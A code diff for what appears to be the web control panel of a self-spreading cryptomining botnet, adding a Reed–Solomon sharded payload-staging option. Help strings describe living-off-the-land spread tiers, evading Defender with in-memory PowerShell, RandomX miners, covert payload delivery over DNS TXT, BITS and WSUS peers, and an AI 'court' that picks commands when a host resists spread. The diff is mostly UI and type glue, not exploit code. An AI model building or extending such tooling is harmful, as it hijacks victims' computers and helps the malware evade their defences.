Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/web/src/components/CalibrationAIControl.tsx

@@ -195,6 +195,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
               <span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
             </label>
           </div>
+          <div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
+            <label className="checkbox-label">
+              <input
+                type="checkbox"
+                className="checkbox"
+                checked={server.erasure_lanes_enabled === true}
+                onChange={(e) => onUpdate('server.erasure_lanes_enabled', e.target.checked)}
+              />
+              <span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
+            </label>
+          </div>
           {server.lotl_onion_tiers?.length ? (
             <p className="form-hint" style={{ marginTop: '0.75rem' }}>
               Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

server/web/src/help/settingHelp.test.ts

@@ -104,6 +104,7 @@ describe('FIELD_HELP', () => {
     'ai_auto_elevate_clearance',
     'fleet_phenotype',
     'failure_atlas',
+    'erasure_lanes',
     'ai_court_session',
     'ai_persona',
     'ai_persona_aggressive',

server/web/src/help/settingHelp.ts

@@ -38,6 +38,8 @@ export const FIELD_HELP: Record<string, string> = {
     'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
   failure_atlas:
     'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
+  erasure_lanes:
+    'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
   ai_court_session:
     'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control:

server/web/src/pages/PathTracerPage.tsx

@@ -434,6 +434,7 @@ export default function PathTracerPage() {
                   <li key={`${route.target_subnet}-${route.seed_agent_id}`}>
                     {route.target_subnet} → {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}
                     {route.join_lane ? ` (${route.join_lane})` : ''}
+                    {route.erasure_lanes_enabled ? ' · RS lanes' : ''}
                     {route.score ? ` · ${route.score.toFixed(2)}` : ''}
                   </li>
                 ))}

server/web/src/types/index.ts

@@ -343,6 +343,8 @@ export interface ServerSettings {
   ai_persona?: string;
   /** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
   fleet_roles_enabled?: boolean;
+  /** Reed–Solomon multi-lane shard metadata on signed deploy plans (default off). */
+  erasure_lanes_enabled?: boolean;
   /** Triple onion recon/deploy gates pushed to agents at auth. */
   triple_onion_policy?: {
     patch_first?: boolean;
@@ -692,6 +694,7 @@ export interface SpreadRouteRecommendation {
   clearance_level?: number;
   score: number;
   reason?: string;
+  erasure_lanes_enabled?: boolean;
 }
 
 export interface ServiceGraphEntry {